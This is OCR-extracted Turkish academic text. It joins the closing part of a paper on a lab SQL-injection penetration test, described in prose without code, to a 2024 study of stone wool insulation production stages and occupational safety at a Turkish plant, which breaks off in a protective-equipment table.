Acik Web Uygulama Giivenligi Projesi (Open Web Application Security Project,

OWASP) tarafindan belirlenen 2017 yilindaki en 6nemli 10 web uygulamasi giivenligi riskini
iceren siralama Tablo 1°de sunulmaktadir. Bu liste, web uygulamalarinin giivenligi ile ilgili
en biiyiikk tehditler1 siralamaktadir. Yillara gore giivenlik risk aciklarmin siralamasi
degismekte ve listeye yeni yontemler eklenmektedir. Ornegin, 2021 yilinda Enjeksiyon
(Injection) yontemi tigiincii siraya gerilerken Kirik Erisim Kontrolii (Broken Access Control)
birinci siraya gelmistir. Calismamizda SQL  saldirisi ile web

Ornegi uygulamasi
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uygulamasindaki en biiyiik giivenlik acikliklarindan birinin uygulanmasi gosterilmistir. Bu
caligmayla birlikte OWASP benzeri giivenlik aciklik listelerinin takip edilmesi ve bunlara
sistemlerde 6nlem alinmasinin 6nemi gosterilmektedir.

Calismamizin amaci, siber giivenlik alaninda ¢alismak isteyen aragtirmacilar i¢in bir
kilavuz niteligindedir. Calismada, Ubuntu 14.04 iizerinde Baby Gekko web sunucusu
kullanilan bir hedef sisteme Kali Linux ve Kali Linux’te bulunan sizma testi araglar
kullanilarak bir saldir1 gerceklestirilmigtir. Saldir1 siirecinde, farkli araclar ve teknikler
kullanilarak hedef sisteme yetkisiz erisim saglanmistir. Calisma kapsaminda gerceklestirilen
deneysel saldir1 sonucunda, hedef sistemde kullanilan sunucunun giivenlik agiklar1 tespit
edilmis ve zafiyetlerin saldir1 olarak kullanilabilecegi gosterilmistir.

Sonug olarak, yapilan ¢alismada gergeklestirilen saldir1 6rnegi, siber giivenlik bilincini
artttrmanin ve gilivenlik 6nemlerini gliglendirmenin 6nemini gostermektedir. Calisma ile
alanda ¢aligmak isteyen arastirmacilara yonelik rehber bir kaynak sunulmas: hedeflenmistir.

Sizma testleri, hedef sistemlerin giivenligini saglamak icin Oonemlidir. Ancak, ilgili
caligmalarin yasal ve etik kurallara uygun bir sekilde gergeklestirilmesi gerektigi
unutulmamalidir. Sistem yoneticileri, glivenlik agiklarni tespit etmek ve diizeltmek igin
diizenli olarak sizma testlerin, yiiriitmeli ve giincel giivenlik Onemlerini uygulamalidir.
Giivenlik agikliklari, siirekli bulunan agikliklar ve gelistirilen teknolojiler ile birlikte siirekli
degiskenlik gostermektedir. Bu nedenle, risklerle basa ¢ikmak ve uygulamalar1 daha giivenli
hale getirmek icin gelecekteki caligmalarimizda giincel OWASP riskleri ve bu riskleri

gerceklestiren ¢aligmalar yapilmasi planlanmaktadir.

Cikar Catismas1 Beyam

Makale yazarlari aralarinda herhangi bir ¢ikar catigmasi olmadigin1 beyan ederler.

Arastirmacilarin Katki Oram Beyan Ozeti

Yazarlar makaleye esit oranda katki saglamis olduklarini beyan ederler.
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Caligma kapsaminda Tiirkiye’de iiretim yapan secilmis bir tagyiinii tiretim
tesisinin is saglig1 ve giivenligi yoniinden degerlendirilmesi hedeflenmistir.
Bu amagla iilkemiz i¢in ticari anlamda biiylik dneme sahip bir igletmede,
yerinde ziyaretler ve isletme biinyesinde calisan teknik personel ile is
giivenligi uzmanlariyla detayli goriismeler yapilmistir. Bu incelemeler
sonucunda, ¢ok tehlikeli sinifa giren bu tesisin mevcut riskler, kullanilan
kisisel koruyucu donanimlar vb. agilarindan degerlendirmesi yapilmustir.
Ayrica riskleri ortaya koymak i¢in {iretim agamalari detayli olarak ele
alinmig ve en biiyiik risk faktorlerinin hangi {iretim asamalarinda/hangi
boliimlerde oldugu irdelenmistir. Buna gore tasyiinii tiretim tesislerindeki
kimyasal risk faktorlerinin en 6nemlisinin karbonmonoksit zehirlenmesi
oldugu, en 6nemli fiziksel risklerin ise yiiksek sicaklikta liretim yapmaktan
kaynaklandig: tespit edilmistir.
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Within the scope of the study, it is aimed to evaluate a selected stone wool
production facility in Turkey in terms of occupational health and safety. For
this purpose, on-site visits and detailed interviews were made with the
technical personnel and occupational safety experts working in an enterprise
of great commercial importance for our country. As a result of these
examinations, the current risks, the personal protective equipment used, etc.
aspects were evaluated. In addition, the production stages are discussed in
detail in order to reveal the risks. As a result of the evaluations, it has been
determined in which production stages/in which sections the biggest risk
factors are in a rock wool production facility.

To Cite: Késeli I, Zervent Unal B., 2024. Yalitim amagli kullanilan tasyiinii levhalarin iiretim asamalarmin incelenmesi ve
ISG agisindan degerlendirilmesi. Kadirli Uygulamali Bilimler Fakiiltesi Dergisi, 4(1): 227-250.

Giris

Glinlimiizde enerji diinya {ilkelerinin en énemli giindem maddelerinden birisidir. Hizla

artan insan niifusu ile dogru orantili olarak enerji tiiketimi de hizla artmaktadir. Ancak diinya
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iizerindeki mevcut kaynaklar da ayn1 hizla tiikenmektedir. Bu sebepten enerji giinlimiizde ¢ok
degerli bir hal almistir. Birgok iilke yenilenebilir enerji kaynaklarina 6nemli kaynaklar
ayirmaktadir, elektrikli araglarin yayginligi hizla artmaktadir, glines enerji panelleri ile enerji
iiretilmesi yayginlagmaktadir.

Ulkemiz de enerjinin biiyiik bir kismini ithal eden iilkelerden biri olarak, yillik enerji
tilketim miktarinin artmasi ile birlikte ithalati artmakta ve cari acigr ¢ogalmaktadir. Artan
enerji maliyetlerinin cari a¢iga olumsuz etkileri hemen hemen biitiin ekonomistler tarafindan
dile getirilmektedir.

Tiirkiye’de kullanilan enerjinin biiylik bir boliimii de konutlarda kullanilmaktadir. Bu
enerjinin  yaklastk  dortte  {ligi  1sitma  ve  sogutma  i¢in  harcanmaktadir
(https://www.dtkdergisi.com/2022/03/14/binalarda-tuketilen-enerjinin-yuzde-80i-isitma-ve-
sogutma-amacli-tuketiliyor/).

Is1 yalitimsiz binalarda 1sitma ve sogutma i¢in harcanan enerjinin biiylik kismi dig
cepheler iizerinden kaybolmaktadir. Is1 yalitimi i¢ ortamdaki 1sinin disartya kagmasini
engelleyerek enerji tasarrufu saglamaktadir. Sadece kis aylarinda degil, yaz aylarinda da dis
ortamdaki sicak havanin igeriye girmesini engellemektedir. Bina iclerinde dengeli 1s1 dagilimi
yaratarak insanlarin yasamina elverisli konforlu ortamlar olusturmakta ve konutlarda %50°’ye
varan enerji tasarrufu saglamaktadir (Akinci, 2007).

Tagylind, iistiin 1s1 yalitim 6zellikleri, 1s1ya kars1 direnci, yiiksek sicakliklarda yangin
direnci, yliksek ses tutma performansi, korozyon ve paslanma dayanimi sayesinde onemli
yaliim malzemelerinden biridir. Tagytinii 0,035 W/mK 1s1 iletkenlik degeri ile 6nemli dlgiide
yiiksek 1s1 iletkenlik degerine (0,035< A <0,040 W/mK) sahip bir 1s1 yalitim malzemesidir
(TS 825, 2008). Yiiksek 1silara ve rutubete kars1 dayanaklidir. Kullanim sicakligi -50/+650 °C
araligindadir (Dikici ve Kocagiil, 2019).

Tasyiinii levha, silte ve boru olarak iretilmektedir. Cok genis kullanim alanlarina
sahiptir. Bunlar asagida belirtilmistir:

- Binalarin ¢atilarinda 1s1 yalitimi i¢in kullanilmaktadir.

- B6lme duvarlarda 1s1 ve ses yalitimi i¢in kullanilmaktadir.

- D1s cephelerde 1s1 yalitimi i¢in kullanilmaktadir.

- Egimli ¢atilarda dolgu malzemesi olarak ses ve 1s1 yalitimi i¢in kullaniimaktadir.

- Firinlarda 1s1 yalitimi i¢in kullanilmaktadir.

- Eglence mekanlarinin ve sinemalarin ses yalitiminda kullanilmaktadir.

- Gemi ingaatlarinda kullanilmaktadir.

- Flexible hava kanallar1 borularinda kullanilmaktadir.
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- Tesisat yalitiminda kullanilmaktadir.

- Pasif yangin durdurucu sistem uygulamalarinda kullanilmaktadir.

- Ses yalitiminda kullanilmaktadir.

Yiikselen enerji fiyatlari, enerji tasarrufunu ¢ok Onemli bir seviyeye getirmistir.
Enerjinin yaklasik %37’si yasanilan binalarda kullanilmakta, bunun da doértte {icii binalari
1sitmak ve sogutmak icin harcanmaktadir. Bu sebepten binalarda dis cephe 1s1 yalitiminin
onemi ¢ok biiyliktiir. 2018 yilsonu itibariyle kamu binalarinda ve 2020 yilsonu itibariyle de
tim yeni binalarda yaklasik sifir enerjili binalar (NSEB) zorunlu hale getirilmistir (Binalarda
Enerji Verimliligi AB ve Tiirk Mevzuati, 2016).

Avrupa Birliginde Enerji Verimligi Direktifi (2012/27/EU) 2012 yilinda yiiriirliige
konulmustur. Ekim 2014 yilinda Avrupa Konseyi 2030 yilina kadar enerji verimliligini
Avrupa seviyesinde en az %27 arttirilmasi hedefini koymustur.

Ulkemizde son yillarda konutlarda dis cephe mantolamada kullanim artis gstermistir.
2015 wyilinda 2015/7401 karar sayili “Binalarin  Yangindan Korunmast Hakkinda
Yonetmelikte Degisiklik Yapilmasmna Dair Yonetmelik” ile binalarin dis cephelerinde
kullanilan malzemeler binalarin yiiksekligine bagl sekilde degisiklik gostermektedir. Dig
cephelerde kullanilan malzemeler, yiiksekligi 28,5 metreden fazla olan binalarda zor yanici
malzemeden, diger binalarda ise en az zor alevlenici malzemeden olmas1 gereklidir
(https://www.mevzuat.gov.tr/mevzuat?MevzuatNo=200712937&MevzuatTur=21&MevzuatT
ertip=5, 2022). Bu yonetmelik ile birlikte tilkemizde dis cephelerde zor yanict malzeme olarak
siniflandirilan tagyiinii kullanimi ve buna bagli olarak iiretimi oldukca artmistir.

Calisma kapsaminda tasyiinii levha iiretim asamalarinin detayli olarak incelenmesi ve
tagyiinii liretim tesislerinin is saglig1 ve giivenligi yoniinden degerlendirilmesi hedeflenmistir.
Bu amagla Tiirkiye’de faaliyet gosteren segilmis bir tagyiinii tiretim tesisine yerinde ziyaretler
gerceklestirilmis, gozlemler yapilmis, sorumlu is giivenligi uzmanlariyla detayli goriismeler
yapilmig, konuyla ilgili isletmedeki mevcut uygulamalar incelenmis ve durum tespiti
yapilarak oOnerilerde bulunulmustur. Bu kapsamda oncelikle detayli bir literatiir taramasi
yapilmis olup ulusal ve uluslararasi literatiir tarandiginda konuyla ilgili olarak ulasilan bazi
yayinlar asagida kisaca 6zetlenmistir. Caligmalarin genellikle tagyiinii yalitim malzemelerinin
performanslarinin  degerlendirilmesine yonelik oldugu goriilmiis olup, tasyiinii {iretim
asamalarinmn irdelendigi ve sz konusu tesislerin is saglhigi ve giivenligi (ISG) acisindan
detayli olarak degerlendirildigi bir ¢alismaya rastlanmamustir.

Lipworth ve ark., (2009)’nin Journal of Occupational and Environmental Medicine

Dergisinde yayimlanan makalesinde tagylini ve camylinii maruziyetinden kaynaklanan
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akciger ve beyin kanser risklerinin analizi yapilmistir (Lipworth ve ark., 2009). Eroglu
(2015)’nun yaptig1 arastirmada, bir organize sanayi bolgesinde plastik mamul iiretimi yapan
isletmelerde ISG sorunlar1 incelenmistir. Aykas (2018) tarafindan yapilan galismada, endiistri
tesislerinde kapali alanlarda yapilan c¢alismalarda is saghigir ve giivenligi riskleri ve giivenli
caligma sistemleri incelenmistir. Arastirmanin temel amaci; kapali alanda gozle goriilmeyen
tehlikelerin (zehirleyici ve bogucu gazlar) termal sartlardan etkilenmesi ve bu tehlikelerden
korunmanin yollarinin incelenmesidir. Yigitalp Rencber (2019) tarafindan yapilmis olan
arastirmada, “Bir Tekstil Fabrikasinda Calisan Iscilerin Is Sagligi ve Giivenligi Konusundaki
Bilgi Diizeyleri ve Saglik Risklerinin Degerlendirilmesi” konu basligi altinda inceleme
yapilmistir. Bu arastirmanin amaci, bahsi gegen fabrikadaki ¢alisanlarm ISG bilgi diizeylerini
belirlemek ve igyerindeki tehlike ve riskleri tespit edip degerlendirerek oneriler gelistirmektir.
Yoriikoglu ve arkadaslarmin “Construction and Building Materials” dergisinde yayinlanan
makalesinde, Tagyiinli iiretiminde bor kullanilabilirligi arastirilmistir. Tagylinii iiretimi igin
bor ilavesinin bazalt ve bazalt-dolomit karisimlarina etkisi test edilmistir. Eriyiklerin erime
sicakliklart ve viskoziteleri belirlenmis, bor ilavesinin etkisini bulmak i¢in bazi numuneler
iizerinde ¢esitli analizler yapilmistir (Yoriikoglu ve ark., 2020).

Aksoy (2021) tarafindan yapilan arastirmada, Afyonkarahisar Organize Sanayi
Bolgesi’nde faaliyetini siirdiiren bir mobilya iiretim tesisinde, mobilya sektoriinde meydana
gelebilecek is kazast ve meslek hastaliklarina iliskin faktorler incelenmistir. Elde edilen
bilgiler 1s181inda isyerindeki mevcut tehlikeler ile bunlara ait riskler belirlenerek, risk
degerlendirme calismas1 yapilmaistir.

Arslan ve Aydin (2023)’1n yaptiklar1 ¢alismada, elyaf takviyeli polimer (FRP) donatili
betonarme yap: elemanlarinda farkli yangin yalitim malzemelerinin ve beton dayaniminin
sicaklik gegislerine etkilerini deneysel ¢alismalar ile belirlemislerdir. Ortam sicakliginin beton
yiizeyine etkisinde tas yiinii %13 oraninda sicaklik gegisine izin verirken bu deger cam
yiiniinde %22 ve kirmizi algipanda %26 oraninda gerceklesmistir. Fertelli (2019) tarafindan
yapilan caligmada c¢esitli akustik siingerlerin, EPS, XPS, cam yiini ve tas ylni
malzemelerinin ses yalitim 6zellikleri deneysel olarak incelenmistir. 0,05 m kalinhigindaki
yalitim malzemeleri 0,5 m x 0,5 m x 0,5 m boyutlarindaki bir kutu icerisine yerlestirilmistir.
Ic ortamda 80 dB, 100 dB ve 110 dB degerlerinde giiriiltii olusturulmustur. Deneyler
sonucunda tas yiinii ve cam yiinii gibi lifli malzemelerin ses yalitimi acisindan diger yalitim
malzemelerinden daha etkin oldugu goriilmektedir.

Dikici ve Kocagiil (2019) ¢alismalarinda farkli tiirden yalittm malzemelerinin (EPS,

XPS, Tas Yiinii) 1s1 transferine etkisini ve kullanilabilirliklerini incelemislerdir. En iyi
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sonuglar tagyiinii kullanimiyla elde edilmis olup tasyiiniinii sirasiyla XPS ve EPS takip
etmektedir. Tlgiirel ve Serefhanoglu Soézen (2005) tarafindan yapilan ¢alisma kapsaminda,
glriiltii diizeyleri degisik nitelikteki sanayi kuruluslarinda, yerinde giirtiltii 6l¢iimleri ve anket
calismast yapilmistir. Olgmelerde, Bruel & Kjaer Precision Integrating Sound Level Meter
(type 2236) dlgme aleti kullanilmistir. En yiiksek giiriiltii diizeyi Tasyiinii Uretim Tesisi’nde
117,3 dBA olarak 6l¢iilmiistiir. Ozgiiven (2015) tamamladig1 tez ¢alismasinda, EPS, XPS ve
tas yiinli yalitim levhalarinin siva ile kapli durumdayken, fiziksel ve mekanik 6zeliklerini, 1sil
gecirgenlik katsayilarini, yangin durumunda olusan yangin hasar1 vb. Ozelliklerini
incelemistir. Yangin dayanimi agisindan en iyi yalitim levhasinin tas yilinii oldugu; yangin
onlemleri alindiginda ise mekanik etkiler agisindan XPS yalitim levhasinin en iyi performansi

gosterdigi tespit edilmistir.

Materyal ve Metod

Calisma tasyiinii iiretim asamalarmin ISG yéniinden incelenmesini icermektedir.
Belirlenen tesis; tiretim asamalari, is saglhigi ve giivenligi prosesleri ve uygulamalari iizerine
detayl sekilde incelenmistir.

Bu kapsamda iilkemizde faaliyet gosteren bir tagyiinii iiretim tesisi secilmis ve ¢aligma
bu tesis dzelinde siirdiiriilmiistiir. Oncelikle secilmis olan tasyiinii iiretim tesisi hakkinda,
yerinde ziyaretler ile detayli sekilde arastirma yapilmis, tesis hakkinda bilgiler toplanmistir.
Tesisisin liretim asamalari adim adim incelenmis ve iiretilen iriiniin 6zellikleri ortaya
konulmustur.

Ardindan tagyiinii liretim tesisi ig sagligl ve giivenligi yoniinden arastirilmis, is sagligi
ve glivenligi prosesleri incelenmistir. Tesiste ¢alisan is giivenligi uzmanlar ile goriismeler
yapilmistir. Uzmanlarla yapilan goriismelerde tesisteki var olan riskler/tehlikeler ve bunlara
karst alinan onlemler belirlenmigstir. Risklerin is saglhigi ve giivenligi yoniinden incelemesi

yapilmistir.

Bulgular

Tagyiinii Levha Uretim Asamalar

Tagylinli, dogada bulunan volkanik kayaglardan elde edilen mineral, inorganik taslarin
1500 °C de eritilip, elyaf haline gelmesiyle olusturulan ve % 98 oraninda dogal elyaf iceren
yalitim (1s1-Ses-yangin-nem) malzemesidir. Tagyiinii iiretimi 10-14 giinliik periyotlar halinde
uygulanmaktadir. Uretim periyodu sonrasi sistem yaklasik olarak 20 saat durdurularak

temizlik ve bakim ¢aligmasi yapilmaktadir (Dogru ve Pulat, 2020).
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Ik olarak hammadde silolarina alinan bazalt ve dolomit maddeleri, belirlenen oranlarda
silolardan c¢ekilerek kupola firinina aktarilir. Kupola firminda komiir atesi ile saglanan
sicaklikta, belirli oranlarda ¢ekilen hammaddeler yaklagik 1500 °C de eriyik haline getirilir ve
yiiksek hizda donen spinner’lara aktarilir. Spinner lizerindeki nozzle lardan, fiberlesmis bazalt
iizerine baglayicilar piiskiirtiiliir.

Spinner’dan lifler halinde ¢ikan hammaddeler ana toplayici bant iizerine serilir. Uriinler
tastyict bant yardimu ile kiirlestirme firmina tasinir. Tagyilinliniin yogunlugu bu bandin hizina
gore belirlenir. Kiirlestirme firininda baglayicilar capraz bag yaptirilarak inert hale getirilir.
Uriiniin su iticiligi, mukavemeti, esnekligi gibi birgok 6zelligi burada kazandirilir.

Bu asamadan sonra tagyiinii, enine kesim hattina alinarak belirlenen boyutlara gore
kesilir ve bu asamadan sonra kullanima hazir hale gelen iiriin, paketleme hattina alinir.
Paketleme hattinda belirlenen Olgiilerde ve kalinliklarda iiretilen tasyiinii paketlenerek
sevkiyata hazir hale getirilir.

Tesiste tagyiinii liretimi sirasinda tiim sistem dijital olarak takip edilmekte; prosesin her
boliimiinde {iretim sartlarinin ve nihai lirliniin istenilen kosullarda olmasi1 saglanmaktadir.

Sekil 1°de bu asamalar detayli olarak agiklanmustir (Segilmis Tasyiinii Uretim Tesisi,
2022).

Kupola Finni Hammadde Silolan

Spinner

Egaot Sistemi Plaka Hatt Silte Hatt

A

Sekil 1. Tagylinil iiretim asamalari
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Hammaddeler

Tasyiinii bazalt ve dolomit gibi inorganik volkanik kayaclarin yiiksek sicakliklarda
eriyik haline getirilmesi ile tliretilmektedir. Tagyilinliniin ana hammaddeleri Sekil 2’de goriilen
bazalt ve dolomit gibi inorganik volkanik kayaglardir.

Spinner asamasinda eriyik haline getirilen inorganik volkanik kayaglarin bir araya
getirilmesi i¢in fenolik regine tiiriinde bir baglayict kullanilmaktadir. Bu asamada tagyiiniine
katilan kimyasallarindan digeri de su iticilik 6zelligi veren hidrofob katki malzemesidir.
Fenolik regine ve hidrofob katki, tagyiiniiniin kimyasal hammaddelerindendir.

Tagylinii liretimi i¢in en 6nemli etken inorganik kayaclarin eriyik haline getirilmesi igin
gerekli olan sicakliktir. Bu sicaklik, kesintiye ugramamasi, siirekli ve devamli olarak ayni
kaliteli sicakligt saglayabilmesi ic¢in komiir kullanilarak saglanmaktadir. Tagyiini

hammaddelerinden birisi de komiirdiir.

,‘ (“‘ 3

3

Sekil 2. Bazalt ve dolomit (Segllmls Tasyiinii Uretim Tesisi, 2022)

Hammadde Silolar1 ve Tasiyic1 Bant

Tagylinii tiretimi i¢in gerekli bazalt ve dolomit inorganik volkanik kayaclari, kimyasal
hammaddeler olan fenolik regine ve hidrofob katki maddesi, kayaglari eriyik haline getirmek
icin gerekli 1s1y1 saglayacak komiir ayr1 ayr1 olacak sekilde farkl: silolarda depolanir.

Bu hammaddelerin Sekil 3’te verilen silolardan tesis igerisindeki kupola firinina
taginmast Sekil 4’te goriilen tasiyict bantlar ile gerceklestirilir.

Hammadde silolarina alman hammaddeler arasindan iiretim i¢in en uygun olanlar
secilir. Hammadde silolarinda hammaddelerin segilerek kullanilmasi; tirtindeki kaliteyi
onemli oOlclide etkiler. Bazalt ve dolomit hammaddelerinin iiretime en uygun olanlarinin
se¢imi; lirliniin lif uzunlugunu, lambda (A) degerini, hammadde igerisindeki geri doniisiim
miktarint etkiler. Hammadde silolarindan alinan bazalt ve dolomit maddelerinin biiyiik

olanlari, tiretime uygun kullanilabilecek olanlardan ayrilir.
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Sekil 3. Hammadde silolar1 Sekil 4. Tagiyici bant

Kupola Firim

Kupola firmi, komiir atesi yardimi ile inorganik volkanik kayacglarin eriyik haline
getirildigi boliimdiir. Bu boliimde sicaklik, bir volkanin sicakligi kadar olan yaklasik 1500
°C’ye yiikselir. Bu sicaklik sayesinde inorganik volkanik kayaglar bazalt ve dolomit ergimeye
birakilir. Hammaddeler bu asamada eriyik haline getirilerek, bir sonraki proses olan yiiksek
hizda donen spinnerlara aktarilir (Sekil 5).

Bu asamada eriyigin homojenligi ve firinin i¢ basing stabilizasyonu dogrudan iiriin
kalitesine etki eder. Uriiniin lif boyu, elyaflasmamis lif olusumu ve malzeme performansinin
homojenligi bu detaya baglidir. Eriyigin homojen bir yapisinin olugsmasi i¢in; hammaddelerin
en uygun olanlarinin secilmesi ve 1s1 enerjisini saglayan komiirlerin kalitesinin yiiksek olmasi
ve stirekli ayni 1s1y1 saglamasi ¢ok dnemlidir. Kupola firininin i¢ basing stabilizasyonu ise,
firmin tasarimi asamasinda dikkat edilmesi gereken ve sonrasinda iiretilen {iriin kalitesine etki

eden bir durumdur (Segilmis Tasyiinii Uretim Tesisi, 2022).

Sekil 5. Kupola firini

Spinner
Kupola firininda eriyik haline getirilen hammaddeler, firinin orta alaninda bulunan akis

kanalindan yiiksek hizda donen spinnerlarin iizerine aktarilir (Sekil 6). Spinnerlar yiiksek

234



devir/dakika hizda donen disklerdir. Bu boliimde eriyik haline gelen hammadde disklerin
donmesi sonucu olugsan merkezkag kuvveti yardimi ile lif haline gelir.

Olusan bu liflere spinner iizerindeki nozzle elemanlarindan baglayicilar piiskiirtiilerek,
liflerin bir arada stabil olarak durmasi saglanir. Baglayicinin her bolgeye homojen ve yeterli
miktarda katilmasi iiretilecek iiriiniin kalitesi agisindan cok 6nemlidir. Uretilecek iiriiniin
cesidine gore kullanilan baglayici degisiklik gostermektedir. Bu asamada tagyliniine hidrofob
ozelligi verecek kimyasallarda uygulanmaktadir.

Spinner boliimiinde bulunan diskler ve spinnerin belirli bir ¢alisma omrii vardir. Bu

siire¢ sonrasinda bu boliimdeki diskler ve spinner degistirilmektedir.

wl =

Sekil 6. Spinner

Toplayici Bant / Silindir

Spinnerda lif haline gelen hammaddeler, iizerlerine piiskiirtiilen baglayicilarin yardimi
ile bir araya gelerek bir bant iizerine serilirler. Ana toplayici bant {lizerinde toplanan lifler,
hareket eden tasiyict banda alinir. Birim zamanda toplayici bantta biriken lif miktar1 yogunluk
homojenizasyonunu etkiler. Bu bandin silindirik bir yapist oldugundan silindir olarak da
isimlendirilir. Sekil 7°de bu bandin iizerine serilmis tasyiinii ile birlikte goriinimi

bulunmaktadir.

PR B
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Sekil 7. Toplayici bant / silindir
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Tasiyic1 Bant / Basing Unitesi

Toplayict bantta toplanan lifler, belirli bir hizda ilerleyen tasiyict bant yardimi ile
kiirlestirme firmina tasir. Bu asamada iiriiniin yogunlugu belirlenir. Istenilen {iriin
yogunluguna gore tasiyict bandin hizi ayarlanir ve lizerine serilen lif miktar1 buna gore
degisir.

Tastyict banda birim zamanda serilen lif miktar1 esit olmalidir, aksi takdirde heterojen
yapida bir iiriin elde edilir. Bu da iirliniin kalitesini olumsuz etkiler. Ayrica beklenilen
yogunluk elde edilirken istenilen hassasiyette ¢alisilmazsa tolerans dis1 yogunlukta iiriin elde

edilir. Sekil 8’de tastyict bandin disaridan goriiniimii yer almaktadir.

Sekil 8. Tasiyic1 bant / Basing {initesi

Kiirlestirme Unitesi / Kiirlestirme Firimi

Spinnerdan ¢ikan lifler tasiyici bant yardimi ile kiirlestirme firinina getirilir. Her boliimii
ayr1 sicakliklara ayarlanmig kiirlestirme firminda ¢apraz baglarin olugsmasi saglanir. Firin igi
sicaklik yaklasik 230 — 250 °C’dir. Kiirlestirme firminda baglayicilar ¢apraz bag yaptirilarak
inert hale getirilir. Uriiniin su iticiligi, mukavemeti, esnekligi gibi bir¢ok o6zelligi burada
kazandirilir.

Kiirlestirme iinitesinin boyu, iiretilen iirliniin kalitesi i¢in son derece dnemlidir. Eger bu
initenin boyu yeterli uzunlukta degil ise, baglayici kiirlesmesi ve ¢apraz bag yapabilmesi igin
gerekli siireyi bulamayacagindan bu islemleri yapmadan ya da eksik yaparak firindan ¢ikar.
Bu da {iriin kalitesini olumsuz etkileyen ve ayni zamanda iiriinlin mekanik degerlerinin
istenilenden diisiik ¢ikmasina neden olan, liriinde dagilmalar/kopmalar meydana getirebilecek
durumlar yaratmaktadir.

Bu iiretim asamasinda iriinde iki biiyiik sorun olusabilmektedir. Bunlar; “wet spot”

denilen firindan kurumamus 1slak {irtin ¢ikmasi ve “hot spot” denilen firindan kiirlenmemis lav
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halindeki iirliniin ¢ikmasidir. Bu iki sorun, 6zel sistemlerle dijital ortamda denetlenerek
engellenmeye c¢aligilmaktadir.

Kiirlestirme tinitesinde, sicak plakalar arasinda iiriine istenilen kalinlik verilmektedir.
Kalinlik tolerans1 istenilen hassasiyette degilse uygulamada ondiilasyonlar (iiriinde

kivrilmalar) gerceklesir. Sekil 9°da kiirlestirme firin1 goriintiisii yer almaktadir.

Sekil 9. Kiirlestirme tinitesi / Kiirlestirme firini

Yatay Kesim Unitesi

Kiirlestirme iinitesinden c¢ikan tagylinii, Olgiileri disinda artik kullanima hazir hale
gelmistir. Uretilen tagyiiniiniin istenilen dlgiilerde kesilmesi ve kullanima hazir hale gelmesi
gerekmektedir. Tesiste belirlenen Olciilerde iiretilen tasyiinii, yatay kesim hattinda bu 0lgiilere
sahip olmas igin kesilir (Sekil 10). Uriiniin en ve boyunda olusabilecek boyutsal sapmalar

bir¢ok uygulama problemine sebep olur.
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Sekil 10. Yatay kesim tnitesi
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Trimming Unitesi
Yatay kesim {iinitesinde kesimi yapilan tagyiinii, trimming {nitesinde kirpma islemi
yapilarak ylizey ve sekilsel bozukluklar: giderilir (Sekil 11). Tagylinliniin ylizey diizgiinliigii

uygulama acisindan 6nemlidir.
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Sekil 11. Trimming tinitesi

Testere Hatt1 / Dikey Kesim

Yiizey bozukluklar1 giderilen tagyiinii, paketleme asamasindan dnce son olarak dikey
kesim testere hattina alinarak istenilen boyuta gore kesilir (Sekil 12). Daire testerelerin
kesimdeki avantaji, malzemeyi neredeyse hi¢ talagsiz ve piiriizsiiz kesmesidir. Farkli
yogunluktaki tagyiinleri icin, testere hattindaki testerenin bicaklari degistirilebilir. Pliriizsiiz
kesici kenarli bigaklarin, tirtikli taslamali bigaklarin veya siireksiz kesimli bigaklarin

hangisinin kullanilacagi iiretilen malzemenin yogunluguna gore belirlenir.

Sekil 12. Testere hatt1 / Dikey kesim tinitesi
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Istifleme ve Paketleme Unitesi

Kullanima hazir hale gelen, yiizey diizgiinligii saglanan, istenilen olgiilerde kesilen ve
gerekli kontrol agamalarindan gegen tasyiinleri (Sekil 13), istifleme asamasina ve sonrasinda
paketleme iinitesine gonderilir (Sekil 14). Uretilen {iriinlerin sahadaki stoklama performansi
diizgiin paketleme ile dogru orantilidir. Paket saglamligi ve paketleme sekli stok sahasinda

iirliniin dayanimin1 ve muhafazasini kolaylagtirir.

Sekil 14. Istifleme ve paketleme iinitesi

Geri Doniisiim Unitesi

Bu asamada, iliretimden arta kalan malzemeler, tekrar liretime katilmasi amaci ile geri
doniisiim iinitesinde toplanir. Uretime katilabilecek olan malzemeler, Kkalite kontrolii
yapildiktan sonra tekrar iiretim asamalarina gonderilir.

Genel olarak atiklar ii¢ farkli sekilde geri doniisiimde kullanilmaktadir. Atiklar, ilk
olarak spinner iizerinden iiretim hattina beslenmektedir. Ikinci olarak formlama tamburu
iizerinden tekrar hatta beslenmektedir. Uciincii olarak da geri doniisiim hattinda ogiitiilerek
briketlemeye gonderilmektedir. Sekil 15°te geri doniisiim {initesinin goriintiisli yer almaktadir.

Ayrica bertaraf edilmesi gereken atiklarda bulunmaktadir. Bunlar; zararli kimyasal
atiklar ve tagylinii liretiminden ¢ikan atiklardir. Bu atiklar tesis disindan alinan hizmet ile

toplanarak bertaraf edilmektedir.
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Sekil 15. Geri doniisim {initesi

Tesisin ISG Yoniinden incelenmesi

28539 sayili ve 25.01.2013 tarihli Resmi Gazete’de yayimlanan “Asbestle Calismalarda
Saglik ve Giivenlik Onlemleri Hakkinda Y&netmelik” geregi (Madde 5) iilkemizde de asbest
ve asbestli lriin dretimi ve bunlarin  her tirli ticareti  yasaklanmistir
(https://www.mevzuat.gov.tr/mevzuat?MevzuatNo=17050&MevzuatTur=7&MevzuatTertip=
5). Bunun sonucu olarak da asbeste alternatif tagyiinii lirlinleri yalittm malzemesi olarak
kullanilmaya baglanmistir. Tagyiinii {iriinii insan yapimi mineral lif grubuna girmektedir. Bu
malzemelerin iiretimi sirasinda ¢alisanlarin maruziyet riskleri ortaya ¢ikmaktadir.

Tagyiinii liretim tesislerinin igyeri tehlike smifi, 2012 yilinda yayinlanan is sagligi ve
giivenligine iliskin tehlike siniflari listesi tebligine gore, ¢cok tehlikeli isyeri olarak belirlenmis
olup biinyelerinde A smifi is giivenligi uzmani istihdam etmektedirler. Is saghig ve giivenligi
prosesleri ¢ok tehlikeli igyeri sinifina uygun olarak belirlenmistir.

Tesiste calisan her personel, calisma alanina bagli olarak kisisel koruyucu donanim
kullanmak zorundadir. Caligma kapsaminda incelenen tesiste kullanilan kisisel koruyucu
donanim matrisi Tablo 1’de yer almaktadir. Sekil 16’da Ornek bir is elbisesi Ornegi

goriilmektedir.
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Tablo 1. Tesiste kullanilan kisisel koruyucu donanimlar matrisi

1 Alev Almaz Pantolon Takim Cupola Genel Kullanim

2 Aliiminize Ceket Pantolon Takim Cupola Acil Durum

3 Aliiminize Tozluk Cupola Acil Durum

4 Aliiminize Eldiven Cupola Acil Durum

5 Aliiminize Baslik Cupola Acil Durum

6 Beyaz Vidal1 150C Baret Cupola Genel Kullanim

7 Vizorii Barete Takma Aparati Cupola Genel Kullanim

8 Altin Vizor Cupola Genel Kullanim

